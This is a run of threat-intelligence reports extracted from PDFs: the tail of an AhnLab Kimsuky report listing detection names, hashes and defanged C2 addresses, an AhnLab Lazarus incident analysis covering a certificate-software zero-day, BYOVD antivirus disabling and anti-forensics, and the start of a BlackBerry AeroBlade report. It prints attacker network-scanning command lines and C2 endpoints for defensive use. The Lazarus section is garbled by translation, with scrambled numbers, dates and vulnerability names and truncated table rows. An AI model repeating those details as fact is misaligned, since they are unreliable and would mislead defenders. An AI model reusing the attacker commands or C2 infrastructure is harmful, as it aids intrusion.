past were run by receiving +command line arguments, but the type used by Kimsuky reads and uses a configuration file +named +setting.ini +. The port number 3389 configured in the default address indicates that it +is likely to establish an RDP connection to a private network. +Figure 19. Proxy malware +5. Conclusion +16/20 +The Kimsuky threat group is continuously launching spear phishing attacks against South +Korean users. Recently, malicious LNK files have been distributed to South Korean users +with various topics, so users are advised to practice particular caution. +The group usually employs the method of distributing malware through attachments or +download links in emails. When a user executes them, the threat actor may be able to take +control of the system that is currently in use. The Kimsuky group has been newly creating +and using various malware to control infected systems and steal information. Recently, the +group has been using AutoIt to create malware to bypass security products. +Users must carefully check the senders of emails and refrain from opening files from +unknown sources. It is also recommended to apply the latest patch for OS and programs +such as Internet browsers and update V3 to the latest version to prevent such malware +infection in advance. +File Detection + Downloader/Win.Amadey.R626032 (2023.11.30.00) + Backdoor/Win.Agent.R626033 (2023.11.30.00) + Downloader/Win.Amadey.C5462118 (2023.07.28.03) + Trojan/AU3.Loader (2023.11.22.01) + Dropper/Win.Agent.C5542993 (2023.11.17.02) + Trojan/Win.Agent.C5430096 (2023.05.20.00) + Infostealer/Win.Agent.R622445 (2023.11.17.02) + Downloader/Win.Amadey.C5479015 (2023.08.31.01) + Trojan/Win.Agent.C5485099 (2023.09.11.03) + Trojan/Win.Agent.C5479017 (2023.08.31.01) + Trojan/Win.Loader.C5479014 (2023.08.31.01) + Trojan/Win.Agent.C5465186 (2023.11.30.00) + Infostealer/Win.Agent.C5542999 (2023.11.17.02) + Infostealer/Win.Agent.C5542997 (2023.11.17.02) + Trojan/Win.Agent.C5451959 (2023.11.30.00) + Trojan/Win.Agent.Prevention.C5446554 (2023.11.30.00) + Trojan/Win.Agent.R589022 (2023.06.28.02) + Trojan/Win.Loader.R588248 (2023.11.30.00) + Trojan/Win.Agent.C5444839 (2023.11.30.00) + Trojan/Win.Stealer.C5441397 (2023.11.30.00) + Trojan/Win.KeyLogger.C5430090 (2023.05.20.00) + Malware/Win.Generic.C5430065 (2023.11.30.00) + Trojan/Win.Stealer.R579484 (2023.05.20.00) + Trojan/Win.Loader.C5430091 (2023.05.20.00) + Trojan/Win.KeyLogger.C5430092 (2023.05.20.00) +17/20 + Trojan/Win.Loader.C5430099 (2023.05.20.00) + Trojan/Win.Proxy.C5430093 (2023.05.20.00) + Trojan/Win.Agent.C5430095 (2023.05.20.00) +Behavior Detection + Persistence/MDP.AutoIt.M4766 + Injection/MDP.Hollowing.M4767 + f5ea621f482f9ac127e8f7b784733514 : RftRAT Dropper + AutoIt (d009086.dll) + 7b6471f4430c2d6907ce4d349f59e69f : Amadey + AutoIt Script (adal.au3) + 14a7f83d6215a4d4c426ad371e0810a2 : RftRAT + AutoIt Script (run.au3) + 74d5dac64c0740d3ff5a9e3aca51ccdf : RftRAT + AutoIt Script (chkdisc.au3) + a7c9b4d70e4fad86598de37d7bf1fe96 : RftRAT + AutoIt Script (run.au3) + 32696d9e1e72affaf8bc707ab271200d : Loader (ht.dll) + 4b667f7ea5bdc9d872774f733fdf4d6a : Loader (ht.dll) + 7f582f0c5c9a14c736927d4dbb47c5fa : Loader (ht.dll) + 94aef716b23e8fa96808f1096724f77f : Loader (ht.dll) + 0786984ab46482637c2d483ffbaf66dc : Loader (ht.dll) + 1f63ce3677253636a273a88c5b26418d : Loader (ht.dll) + 6f7cd8c0d9bfb0f97083e4431e4944c1 : Amadey Dropper (10.dll) + 4fc726ab835ce559bada42e695b3d341 : Amadey Dropper (11.dll) + 0fc1c99fd0d6f5488ab77e296216c7c6 : Amadey Dropper (10.dll) + f9c4d236b893c0d72321a9210359f530 : Amadey (svc4615.dll) + e22336eaf1980d2be5feed61b2dbc839 : Amadey (svc7014.dll) + 862a855557cc274ab86e226e45338cff : Amadey (mtms2883.dll) + 0f5762be09db44b2f0ccf05822c8531a : Amadey (ad53.dat) + c87094e261860e3a1f70b0681e1bc8c5 : Amadey (ad54.dat) + bac7f5eefe6a67e9555e93b0d950db59 : Amadey (d021999.dll) + c5a1305aba22c8fedd6624753849905b : Amadey (mtms02.dat) + 068d395c60e32f01b5424e2a8591ba73 : Amadey (adal66.dat) + f3caa0f922600b4423ebcb16d7ea2dc6 : RftRAT Dropper (_e2.dll) + 355817015c8510564c6ac89c976f2416 : RftRAT Dropper (_d2.dll) + d541aa6bae0f8c9bd7e7b6193b52e8f2 : RftRAT Dropper (d010943.dll) + 093608a2d6eb098eb7ea917cc22e9998 : RftRAT Dropper (30.dll) + f76cde928a6eda27793ade673bcd6620 : RftRAT (msc1439.dll) + aaa42b1209ed54bfcbd2493fe073d59b : RftRAT (mtms1929.dll) + 1003a440c710ddf7faa1a54919dd01d8 : RftRAT (rtm8668.dll) + b67e6e4c16e0309cfc2511414915df15 : RftRAT (cmms1106.dll) + 4d4d485d3bfd3cbc97ed4b9a671f740f : RftRAT (cmms2366.dll) + cf3440fa165e3f78d2a2252a6924f702 : RftRAT (mtms7794.dll) +18/20 + c55da826e50e2615903607e61968778f : RftRAT + d070cf19b66da341f64c01f8195afaed : RftRAT (r2.dat) + e665a985f71567f24a293ea430aad67d : RftRAT (r2.dat) + c52410ed6787c39db87c4158e73089d4 : RftRAT (r1.dat) + 1ac0b0da11e413a21bec08713e1e7c59 : RftRAT (40.dat) + 39e755c08156123e4cabac6bf8d1fd3a : RftRAT (a2.dat) + 187aa9b12c05cd1ff030044786903e7e : KeyLogger (NsiService.exe) + b1337eb53b21594ac5dbd76138054ffb : KeyLogger (NsiService.exe) + d820ddb3026a5960b2c6f39780480d28 : KeyLogger (NsiService.exe) + 5c2809177bb95edc68f9a08a96420bb7 : Stealer + Web browser (GBIA.exe) + 0bf558adde774215bb221465a4edd2fe : Stealer + Web browser (GBIA.exe) + aa2cf925bae24c5cad2b1e1ad745b881 : Stealer + Web browser (GPIA.dll) + baa058003bf79ba82ac1b744ed8d58cb : Stealer + Chrome extension (GBS.exe) + 38182f1f0a1cf598295cfbbabd9c5bf4 : Stealer + File path (GPIA.exe) + 272c29bf65680b1ac8ec7f518780ba92 : Stealer + File path (GPIA.exe) + e860dac57933f63be9a374fb78bca209 : Proxy (svc.exe) + e96ca2aa7c6951802e4b17649cc5b581 : Injector (taskhosts.exe) + 4eddf54757ae168450882176243d2bd2 : Injector (sihosts.exe) + 119063c82373598d00d17734dd280016 : LogonMon (ipcheck.dll) + hxxps://prohomepage[.]net/index.php :Amadey + AutoIt Script + 45.76.93[.]204:56001 : RftRAT + AutoIt Script + 91.202.5[.]80:52030 : RftRAT + AutoIt Script + 192.236.154[.]125:50108 : RftRAT + AutoIt Script + hxxp://brhosting[.]net/index.php : Amadey + hxxps://topspace[.]org/index.php : Amadey + hxxps://theservicellc[.]com/index.php : Amadey + hxxps://splitbusiness[.]com/index.php : Amadey + hxxps://techgolfs[.]com/index.php : Amadey + 23.236.181[.]108:52390 : RftRAT + 152.89.247[.]57:52390 : RftRAT + 172.93.201[.]248:8083 : RftRAT + 172.93.201[.]248:52390 : RftRAT + 209.127.37[.]40:52390 : RftRAT +Subscribe to AhnLab +s next-generation threat intelligence platform +AhnLab TIP +check related IOC and detailed analysis information. +Categories:Malware Information +Tagged as:Amadey,Kimsuky,RftRAT,xRAT +19/20 +20/20 +Lazarus attack group attack case using public certificate software +vulnerability widely used by public institutions and universities +asec.ahnlab.com/ko/48416 +nuno +Feb 2023, 2 +Since last year (March 2021), the Lazarus attack group's malware has been found in a number of domestic companies +such as defense, satellite, software, and media companies, and the AhnLab Security Emergency Response Center (ASEC) +has been continuously tracking and analyzing the activities of the Lazarus attack group and related malware. +The affected customer in this case had already been breached once by the Lazarus attack group in May 2022, and the +breach recurred due to a 5-day vulnerability in the same software. At the time of the May 0 breach, the customer was +using a weak version of the certificate-related program widely used in public institutions and universities, and all the +software was updated to the latest version after the accident. This time, however, it was breached by a 2022-day +vulnerability in the software. +ASEC has reported the software to KISA, but the vulnerability has not been clearly identified, and the manufacturer and +software are not disclosed in this article because no software patch has been released yet. +In addition to this incident, the Lazarus Group is continuously researching various software vulnerabilities to infiltrate +domestic institutions and companies, and is continuously changing TTP by disabling security products, and using antiforensic technologies to hinder and delay detection and analysis. +This report is based on the victim's forensic analysis report. The report was prepared in January, but after delaying +disclosure due to software vulnerability patching issues, the company decided to release the software information after +anonymizing it. When a software patch is released, we will redistribute a report of the version that released the +information. +Outline of the incident +CATEGORY +DESCRIPTION +Duration of +the incident +2022/10/21 ~ 2022/11/18 +Customer +Type +Financial Business +Damage +System +Type +Windows 10 +Damage +Status +Backdoor malware infection and C2 communication +Types of +attacks +assailant +Lateral movement using 0-Day vulnerability of company A's certificate +program + Since the patch has not yet been released, vulnerable software information is not +disclosed +Disabling vaccines through BYOVD attacks +Anti-forensics +Timestamp operation +Change the file name randomly and delete it +Delete execution artifacts +Use the same file name as the system file name +Lazarus +1/16 +Incident +#Lazarus #skypeserver.exe #0-day # + #BYOVD +[table] analysis summary +[Figure] Infringement Flow Chart +Lessons from examples +The attackers took advantage of a 0-Day vulnerability in the public certificate software widely used in the country. +This type of software does not update automatically, so be sure to patch the latest version of your software and +uninstall it if you are not using it. +The attackers defeated the security product using a technique called BYOVD, which exploits a vulnerable driver +kernel module. +The attackers performed anti-forensic acts, such as changing and deleting files to conceal malicious behavior, or +manipulating time information. +The victim was re-breached by the same attacker in a similar way. In addition to reactive measures, continuous +monitoring must prevent the threat from recurring. +Case Details +2/16 +Summary of analysis results +After analyzing the two PCs received from the customer, it was confirmed that PC01 and PC02 were subjected to lateral +movement attacks using vulnerabilities in the certificate software. PC02 was attacked from an unidentified internal +system on October 10, and PC21 was attacked by PC01 on November 11. Given that PC18 and PC02 had the latest version +of certificate software installed, it is believed that the attacker used a 01-Day vulnerability. In addition, PC02 and PC0 +experienced V01 incapacitation on November 02, but a different method was used. +The system analyzed this time was subjected to a lateral movement attack and was not related to the initial influx of +attackers. It is believed that the victim's Internet network was threatened by the Lazarus attack group, which successfully +broke in in May. +SYSTEM +DATE +DESCRIPTION +PC01 +2022/11/18 +Lateral movement attack +due to certificate software +vulnerability ( PC02 + PC01 ) +2022/11/18 +V3 Disabling Occurs +2022/10/21 +Lateral movement attack +due to certificate software +vulnerability ( unknown internal +system + PC02 ) +2022/11/18 +V3 Disabling Occurs +PC02 +[Table] Major malicious actions by each system +PC01 Analysis +PC01 is believed to have been compromised by a 2022-Day vulnerability attack in certificate software on 11/18/10 +00:35:0. Three network connection attempts were made from PC02 to the service TCP port of PC01's certificate software. +In the previous two connections, there was no special response from PC01, but when PC02 accessed PC11 at 18:10 on +00/01 using skypeserver.exe (unsecured) created using svchost.exe, PC01 encountered an error (AppCrash) in the +certificate software, and malicious actions began thereafter. When AppCrash occurred, all error reports (WARs) and +memory dump files stored in the system were deleted and could not be checked. It appears to have been intentionally +deleted by the attackers. +DATE +TIME +DESCRIPTION +REMARKS +2022/11/15 +16:18:52 +svchost.exe network +connection +10.20.XXX.125:XXXXX +Presumed +to be an +attack +failure or +connection +test +2022/11/18 +9:49:31 +svchost.exe network +connection +10.20.XXX.125:XXXXX +Presumed +to be an +attack +failure or +connection +test +2022/11/18 +10:00:27 +network connection .exe +skypeserver +10.20.XXX.125:XXXXX +Successful +exploits +[Table] History of access from PC02 to certificate software service port of PC01 (V3 behavior log) +3/16 +[Figure] Record of Crashdump File Generation in Certificate Software +Among the traces identified in PC01, the difference from the attack that occurred in May is that the process used after the +vulnerability attack in the certificate software was svchost.exe rather than ftp .exe, and the vulnerable version of the +software was installed at the time, but this time all the latest versions were installed, so there is no known vulnerability +information. +TARGET +INSTALL +DATE +SOFTWARE +VERSION +COMPROMISED +DATE +PC01 +2022/07/01 +Up-to-date +2022/11/18 +PC02 +2022/08/30 +Up-to-date +2022/10/21 +[table] Certificate software versions installed on PC01 and PC02 +After accessing PC01, the attacker injected a malicious thread into a normal process (svchost.exe) and used it for C2 +communication and backdoor. It then neutralized the V3 product installed on the system, and created and executed +additional malicious files. +In addition, in this analysis, traces of manipulation of the timestamp of malicious files were confirmed, and anti-forensic +behaviors such as randomly changing and deleting file names when deleting files were found, so it seems that attackers +are actively interfering with the analysis. +TIMELINE (PC01) +The timeline of the infringement identified in PC01 is as follows: +TIME +(22/11/18) +CATEGORY +BEHAVIORS +10:00:37 +injection +svchost.exe injects a malicious thread into a +running process to start malicious activity +4/16 +10:00:37 +communication +svchost.exe connects to the attacker's C2 address +121.78.246.155(dalbinews.co.kr) +10:10:01 +Malicious file +creation +Malicious file creation +C:\ProgramData\tszui.tmp (unsecured) +10:17:55 +Anti-forensics +Rename and delete +malicious files Rename: C:\ProgramData\tszui.tmp -> Delete phqghumeaFile : +C:\ProgramData\phqghumea (unsecured) +10:18:47 +communication +svchost.exe connects to the attacker C2 address +121.78.158.46 (www.studyholic.com) +10:20:28 +Neutralize +security +products +V3 detects security product incapacitation (Exploit/Win.Lazardoor.GEN) +10:20:24 +communication +Network connection +to attacker C2 183.110.224.172 (ctmnews.kr) +10:27:58 +Malicious file +creation +Malicious file creation +C:\ProgramData\perlcritic.exe (unsecured) +10:28:53 +Generate +vulnerable +driver files +Malicious file execution +C:\ProgramData\perlcritic.exe (unsecured)Driver file creation (not malicious) +C\Windows\System32\drivers\PROCEXP152.SYS (secured) +10:29:16 +Malicious file +creation +Malicious file creation +C:\ProgramData\tds.tmp (unsecured) +10:29:36 +Anti-forensics +Rename and delete +malicious files Rename: C:\ProgramData\tds.tmp -> mxnsbqyDelete files: +C:\ProgramData\mxnsbqy (unsecured) +10:41:33 +Anti-forensics +Delete AppCrash File Delete File +C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_XXXXXXXXXXXX.exe +_9474ee13fbc7651aabaf2f3c9b1fedc9e7489e51_bc343f60_ddd4e0eb-714c-4cf4-ae2343cd18c59603 (unsecured) +10:42:19 +Anti-forensics +Rename and delete +malicious files Rename: C:\ProgramData\perlcritic.exe -> kxlmatmoynktxlDelete files: +C:\ProgramData\kxlmatmoynktxl (unsecured) +10:44:31 +Malicious file +creation +10:44:47 +Anti-forensics +Timestamp (Standard Information) operation of the backdoor loader +(LegacyUserManager.dll) (Secure) +10:45:47 +Malicious file +creation +Creation (Secured) of backdoor program (Keys.dat) Creation +of malware with C2 access and file download function +10:45:56 +Anti-forensics +Timestamp (Standard Information) manipulation (Secured) of backdoor program (Keys.dat) +10:46:12 +Malicious file +creation +Creation of backdoor program (Settings.vwx) (secured) Creation +of malware with C2 access and file download function +10:46:30 +Anti-forensics +Timestamp (Standard Information) manipulation (Secured) of backdoor program (Keys.dat) +Create (secure) backdoor loader (LegacyUserManager.dll) Loading target file: +C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat (secured) C: +\ProgramData\Microsoft\Settings\Settings.vwx (secured) +[table] Malicious behavior of attackers found on PC01 +5/16 +PC02 Analysis +The attacker was found to have accessed PC10 by exploiting a vulnerability in the certificate software on 21/10 48:48:02. +AppCrash occurred during the attack of the vulnerability, after which the ftp .exe was executed and malicious behavior +began. This is the same method that occurred in the affected customer in May. The IP of the system that accessed PC5 +has not been determined. +[Picture] Certificate Software Error Log Verified on PC02 (Application.evtx) +[Picture] Certificate software found in V02 MDP log on PC3 and malicious thread injection code in ftp .exe +After first infiltrating PC10 on 21/02, the attacker created a malicious file that performed C2 server communication and +backdoor functions through an injected ftp .exe. +On 10/27, unlike the attack on the 21st, instead of ftp.exe, it injected a malicious thread into the SVChost.exe process, +after which it carried out malicious actions with control until 11/18. +On 11/15, it was confirmed that an FSWss file .exe was created to scan the internal network. After that, it was confirmed +that he used svchost.exe to connect to the service port of PC01's certificate software twice. +On 11/18, a skypeserver.exe file was created and the file was used to access PC01's TCP XXXXX, and at this time, an +AppCrash of the certificate software occurred on PC01, and then PC02 confirmed traces of disabling antivirus, creating +and executing malicious files, etc., the same as PC01. +TIMELINE (PC02) +The timeline of the infringement identified in PC02 is as follows: +DATE +TIME +CATEGORY +BEHAVIORS +22/10/21 +10:48:50 +C2 communication +ftp.exe connects the attacker to the C2 address +and the network 111.92.189.48 +(www.scope.co.kr) +10:48:51 +ftp.exe connects the attacker C2 address and +network 183.110.224.172 +(ctmnews.kr) +6/16 +10:49:46 +ftp.exe connects the attacker C2 address to the +network 115.68.52.47 +(www.artinsight.co.kr) +10:51:35 +ftp.exe connects the attacker to C2 address and +network 114.108.129.89 +(www.kfcjn.com) +10:52:31 +ftp.exe connects the attacker to C2 address and +network 114.108.129.89 +(www.kfcjn.com) +10:59:33 +ftp.exe connects the attacker to C2 address and +network 114.108.129.89 +(www.kfcjn.com) +12:52:38 +ftp.exe connects the attacker to C2 address and +network 119.207.79.175 +(lightingmart.co.kr) +14:21:58 +Malicious file creation +14:59:07 +22/10/27 +22/11/15 +ftp.exe create +file C:\Windows\System32\lecacyusermanager.dll +(secured) +ftp.exe file created +C:\Windows\System32\wptsextensions.dll +(secured) +15:34:47 +Anti-forensics +Rename a malicious file +Rename: +C:\Windows\System32\legacyusermanager.dll -> +C:\Windows\temp\lum.tmp (secured) +15:25:00 +injection +Injecting malicious threads into normal processes +(svchost.exe) +15:26:05 +C2 communication +svchost.exe connects the attacker with C2 +address +115.68.52.47 +15:27:53 +Malicious file creation +svchost.exe created +malicious file +C:\Windows\System32\wptsextensions.dll +(secured) +11:32:36 +Create a file +svchost.exe created +malicious file C:\ProgramData\fswss.exe +(unsecured) +11:32:48 +File execution +Network scanning +with fswss.exe C:\ProgramData\fswss.exe /scan +/UseIPAddressesRange 1 /IPAddressFrom +10.20.XXX.1 /IPAddressTo 10.20.XXX.255 /stext +C:\ProgramData\fswss.log +11:33:41 +Anti-forensics +Rename malicious files +Rename: C:\ProgramData\fswss.exe -> xeudsgpfo +(unsecured) +12:50:13 +Malicious file creation +svchost.exe creates +file C:\ProgramData\fmsysn.exe (not secured) +12:51:04 +Execution of +malicious files +svchost.exe runs +other processes C:\ProgramData\fmSysN.exe +10.20.XXX.1 10.20.XXX.36 XXXXX 10 +c:\programdata\fmSysN.log +7/16 +22/11/18 +13:06:49 +Anti-forensics +Rename +malicious files: C:\ProgramData\fmsysn.exe -> +yfvepuvxbi (not secured) +16:18:52 +Network Access +svchost.exe attempts +to access certificate software port on PC01 +10.20.XXX.125:XXXXX(PC01) +16:33:06 +Malicious file creation +svchost.exe creates +file C:\ProgramData\skypeserver.exe (unsecured) +9:49:31 +Network Access +svchost.exe attempts +to access certificate software port on PC01 +10.20.XXX.125:XXXXX(PC01) +9:51:07 +svchost.exe created +malicious file C:\ProgramData\skypeserver.exe +(unsecured) +9:56:31 +svchost.exe +C:\ProgramData\sfbappsdk.dll ( +10:00:08 +skypeserver.exe +121.78.246.155(dalbinews.co.kr) +10:00:27 +skypeserver.exe +10.20.XXX.125:XXXXX(PC01) +10:06:14 +: C:\ProgramData\sfbappsdk.dll -> +bxikemvkqhcsz ( +10:06:42 +: C:\ProgramData\skypeserver.exe -> +kqcfqbxrgbfmwem ( +11:04:32 +(svchost.exe) +svchost.exe +121.78.158.46(studyholic.co.kr) +11:05:45 +(Exploit/Win.Lazardoor.GEN) +11:06:56 +C:\ProgramData\perlcritic.exe ( +11:07:02 +C:\ProgramData\perlcritic.exe ( +C:\Windows\System32\drivers\PROCEXP152.SYS +11:12:18 +C:\ProgramData\perlcritic64.exe ( +] PC02 +Major malicious acts +8/16 +Disabling V3 by BYOVD +In the PC01 and PC02 systems, an attempt to disable V11 was detected (Exploit/Win.Lazardoor.GEN) at 18/10 20:28:11 +and 05:45:3, respectively, and the period after which V3 was disabled is as follows: +PC01: 11/18 10:20:28 ~ 11/18 11:25:00 (about 1 hour) +PC02: 11/18 11:05:45 ~ 11/21 14:07:08 (about 75 hours) +During this period, V3-related processes are running, but normal behavior detection is not possible. However, after the +system reboots, V3 returns to normal. +[Picture] V01 Neutralization Detection Log Seen on PC3 +Attackers need access to kernel memory to manipulate kernel memory on Windows systems to disrupt the operation of +security products, and in May, Taiwanese component manufacturer ENE Technology's ene.sys was used in a BYOVD +attack. +At the time of detection of V01 incapacitation of PC02 and PC3, no trace of the attack method was found. Rather, a +vulnerable driver file was created on the system after the V3 outbreak, which is the driver file of Procexp152 of +ProcessExplorer, a process management utility provided .SYS free of charge by Microsoft, and is a vulnerable driver that +can be used for BYOVD attacks. However, this driver file was created after V01 defeat on both PC02 and PC3, and was +used by the perlcritic.exe (unsecured) file generated by the attacker. +In other words, the order of V3 defeat occurrence time and driver file creation time does not match, so it is a BYOVD +attack, PROCEXP152. It is not yet possible to say whether SYS was used to neutralize V3. +The method that occurred in May and the method that occurred in November have the following differences. +9/16 +CATEGORY +ATTACK IN MAY, +2022 +ATTACK IN +NOVEMBER, 2022 +Attack +Techniques +BYOVD +Technique +Not verified +Vulnerable +drivers +Drivers from ENE +Technology +ene.sys +Microsoft's +ProcessExplorer +driver was created +after V3 disabled +PROCEXP152.sys +loader +sb_smbus_sdk.dll +Service +registration +Service +registered +perlcritic.exe +(not secured) +perlcritic64.exe +(unsecured) +No sign of service +registration +[Table] Comparison of traces related to V5 incapacitation in May and November +Antiforensics +PC01 and PC02 were found to have performed antiforensic actions to erase the traces of the attack. +CATEGORY +SYSTEM +DESCRIPTION +Manipulating +timestamps +on files +PC01, +PC02 +[PC01] +C:\Windows\System32\LegacyUserManager.dll +Manipulated creation time : 2019-03-19 +13:49:35 +C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat +Manipulated creation time : 2019-03-19 +13:49:35 +Manipulated/created time : 2019-12-25 +23:24:06 +C:\ProgramData\Microsoft\Settings\Settings.vwx +Manipulated creation time : 2022-05-13 +16:09:19 +[PC02] +C:\Windows\system32\wptsextensions.dll +Manipulated creation time : 2019-03-19 +13:49:35 +Delete a file +after +renaming a +file +PC01, +PC02 +[PC01] +C:\ProgramData\tszui.tmp -> phqghumea +C:\ProgramData\perlcritic.exe ->kxlmatmoynktxl +C:\ProgramData\tds.tmp -> mxnsbqy +[PC02] +C:\ProgramData\fswss.exe -> xeudsgpfo +C:\ProgramData\fmsysn.exe -> yfvepuvxbi +C:\ProgramData\sfbappsdk.dll -> +bxikemvkqhcsz +C:\ProgramData\skypeserver.exe -> +kqcfqbxrgbfmwem +Delete +Prefetch +PC01 +MSIEXEC.EXE-8FFB1633.pf, PERLCRITIC.EXE2EB3AC0F.pf and many more +10/16 +[Table] Antiforensic Behavior Identified in PC01, PC02 +Malware used by attackers +List of malware +CATEGORY +FILENAME +SYSTEM +loader +wptsextensions.dll +PC02 +Path: C:\Windows\System32\wptsextensions.dll +Load Backdoor File Keys.dat +legacyusermanager.dll +PC01 +PC02 +Path: +C:\Windows\System32\legacyusermanager.dll +Load Backdoor File Keys.dat +lum.tmp +PC02 +Path: C:\Windows\Temp\lum.tmp +Load the backdoor file configmanager.tlb +Keys.dat +PC01 +PC02 +Path: +C:\ProgramData\Microsoft\Crypto\Keys\Keys.dat +loaded by wptsextensions.dll +2022/11/18 14:56:54 GMT Designed to run after ++9, additional commands can be performed via +cmd.exe +Downloads additional binaries from the C2 server +and runs them in fileless form +Settings.vwx +PC02 +Loaded in wptsextensions.dll +Randomly access from the following 3 C2s +hxxps://www.artinsight[.] +co.kr/data/admin/list.php +hxxps://www.kfcjn[.] +com/member/process/sms.php +hxxps://ctmnews[.] +kr/member/process/success.php +Settings.vwx +PC01 +Loaded in legacyusermanager.dll +Randomly access from the following 3 C2s +hxxps://www.artinsight[.] +co.kr/data/admin/list.php +hxxps://www.kfcjn[.] +com/member/process/sms.php +hxxps://ctmnews[.] +kr/member/process/success.php +ProcEXP152.sys +PC01 +PC02 +Path: +C:\Windows\System32\drivers\PROCEXP152.SYS +Drivers in ProcessExplorer +Vulnerable driver module enables antivirus +neutralization through BYOVD attacks +fswss.exe +PC02 +Path: C:\ProgramData\fswss.exe +NirSoft utility with the ability to scan the network or +turn on a remote computer +WakeMeOnLan: +https://www.nirsoft.net/utils/wake_on_lan.html +backdoor +Exploited +legitimate +files +DESCRIPTION +11/16 +Unsecured +files +configmanager.tlb +PC02 +Path: C:\Windows\System32\configmanager.tlb +Backdoor estimation loaded by lum.tmp +perlcritic.exe +perlcritic64.exe +PC01 +PC02 +Path: C:\ProgramData\perlcritic.exe +Executed by cmd.exe and loads +PROCEXP152.SYS +sfbappsdk.dll +PC02 +Path: C:\ProgramData\sfbappsdk.dll +Injected svchost.exe created +fmSysN.exe +PC02 +Path: C:\ProgramData\fmSysN.exe +Injected svchost.exe created +The following traces of execution have been +identified: +fmSysN.exe 10.20.XXX.1 10.20.XXX.36 +XXXXX 10 c:\programdata\fmSysN.log +skypeserver.exe +PC02 +Path: C:\ProgramData\skypeserver.exe +Injected svchost.exe created +C2 Connection +tds.tmp +PC01 +Path: C:\ProgramData\tds.tmp +Deleted after being changed to a random file +name +tszui.tmp +PC01 +Path: C:\ProgramData\tszui.tmp +Deleted after being changed to a random file +name +REMARKS +[table] List of malware +C2 used by attackers +CATEGORY +DOMAIN +ftp.exe +111.92.189.48 +www[.]scope.co.kr +121.78.158.46 +www[.]studyholic.com +121.78.246.155 +dalbinews[.]co.kr +119.207.79.175 +183.110.224.172 +ctmnews[.]kr +211.249.220.83 +ctmnews[.]kr +1.254.179.18 +www[.]artinsight.co.kr +103.6.182.57 +www[.]artinsight.co.kr +104.109.245.186 +www[.]artinsight.co.kr +112.106.58.23 +www[.]artinsight.co.kr +115.68.52.47 +www[.]artinsight.co.kr +12/16 +125.209.218.167 +www[.]artinsight.co.kr +3.39.49.255 +www[.]artinsight.co.kr +34.199.186.157 +www[.]artinsight.co.kr +52.148.148.114 +www[.]artinsight.co.kr +104.21.64.83 +www[.]kfcjn.com +112.106.58.23 +www[.]kfcjn.com +114.108.129.89 +www[.]kfcjn.com +117.52.137.138 +www[.]kfcjn.com +13.107.21.200 +www[.]kfcjn.com +162.247.241.2 +www[.] kfcjn.com +23.50.0.140 +www[.] kfcjn.com +52.79.120.37 +www[.] kfcjn.com +[table] List of C2s used by attackers +MITRE ATT&CK MAPPING +Tactics +DESCRIPTION +Reconnaissance +Resource +Development +T1587.001 +Develop +Capabilities: +Malware +Backdoor and +loader fabrication +T1587.004 +Develop +Capabilities: +Exploits +Prepare for +certificate software +vulnerabilities +T1588.002 +Obtain +Capabilities: +Tool +fswss.exe +(wakemeonlan by +Nirsoft.exe) +Initial Access +Execution +T1059.003 +Command +Scripting +Interpreter: +Windows +Command +Shell +Run perlcritic.exe +T1203 +Exploitation +for Client +Execution +Certificate +Software Exploits +Persistence +13/16 +Privilege +Escalation +T1068 +Exploitation +for Privilege +Escalation +PROCEXP152.sys +Defense +Evasion +T1562.001 +Impair +Defenses: +Disable or +Modify +Tools +V3 Incapacitation +T1070 +Indicator +Removal +Delete Prefetch +files +T1070.004 +Indicator +Removal: +File +Deletion +Delete +malicious files +sfbappsdk.dll, +fswss.exe, +fmSysN.exe, +skypeserver.exe, +perlcritic.exe, +perlcritic64.exe +Delete crashdump +files +T1070.006 +Indicator +Removal: +Timestomp +Change malicious +file time +information +Credential +Access +Discovery +T1046 +Network +Service +Discovery +fswss.exe, +fmSysN.exe +Lateral +Movement +T1210 +Exploitation +of Remote +Services +Internal movement +using certificate +software +vulnerabilities +Collection +Command and +Control +T1071.001 +Application +Layer +Protocol: +Protocols +C2Server +Communication +T1102 Web +Service +Exploiting +legitimate domains +as C2 servers +Exfiltration +Impact +Malicious files +14/16 +MD5 Hash +File Name +AhnLab Detection Name +61B3C9878B84706DB5F871B4808E739A +wptsextensions.dll +Trojan/Win.Lazardoor.C5327680 +C7256A0FBAB0F437C3AD4334AA5CDE06 +legacyusermanager.dll +Trojan/Win.Lazardoor.C5327680 +A6602EF2F6DC790EA103FF453EB21024 +lum.tmp +Trojan/Win.Lazardoor.C5327681 +FC8B6C05963FD5285BCE6ED51862F125 +Keys.dat (PC01) +Data/BIN. Lazarus +6EA4E4AB925A09E4C7A1E80BAE5B9584 +Keys.dat (PC02) +Data/BIN. Lazarus +27DB56964E7583E19643BF5C98FFFD52 +Settings.vwx (PC01) +Data/BIN. Lazarus +BD47942E9B6AD87EB5525040DB620756 +Settings.vwx (PC02) +Data/BIN. Lazarus +Malicious IP/URL +Country +111.92.189.48 +www[.] scope.co.kr +121.78.158.46 +www[.] studyholic.com +121.78.246.155 +dalbinews[.] co.kr +119.207.79.175 +183.110.224.172 +ctmnews[.] kr +211.249.220.83 +ctmnews[.] kr +1.254.179.18 +www[.] artinsight.co.kr +103.6.182.57 +www[.] artinsight.co.kr +104.109.245.186 +www[.] artinsight.co.kr +112.106.58.23 +www[.] artinsight.co.kr +115.68.52.47 +www[.] artinsight.co.kr +125.209.218.167 +www[.] artinsight.co.kr +3.39.49.255 +www[.] artinsight.co.kr +34.199.186.157 +www[.] artinsight.co.kr +52.148.148.114 +www[.] artinsight.co.kr +104.21.64.83 +www[.] kfcjn.com +112.106.58.23 +www[.] kfcjn.com +114.108.129.89 +www[.] kfcjn.com +117.52.137.138 +www[.] kfcjn.com +13.107.21.200 +www[.] kfcjn.com +162.247.241.2 +www[.] kfcjn.com +23.50.0.140 +www[.] kfcjn.com +52.79.120.37 +www[.] kfcjn.com +15/16 +Detailed analysis information on related IOCs can be accessed through the subscription service of +AhnLab's next-generation threat intelligence platform 'AhnLab TIP'. +Categories:Malware Information +Tagged as:A-FIRST,BYOVD,DFIR,Infringement Case,Lazarus +16/16 +AeroBlade on the Hunt Targeting the U.S. Aerospace +Industry +blogs.blackberry.com/en/2023/11/aeroblade-on-the-hunt-targeting-us-aerospace-industry +Dmitry Bestuzhev, The BlackBerry Research & Intelligence Team +Summary +BlackBerry has uncovered a previously unknown threat actor targeting an aerospace organization in +the United States, with the apparent goal of conducting commercial and competitive cyber espionage. +The BlackBerry Threat Research and Intelligence team is tracking this threat actor as AeroBlade. The +actor used spear-phishing as a delivery mechanism: A weaponized document, sent as an email 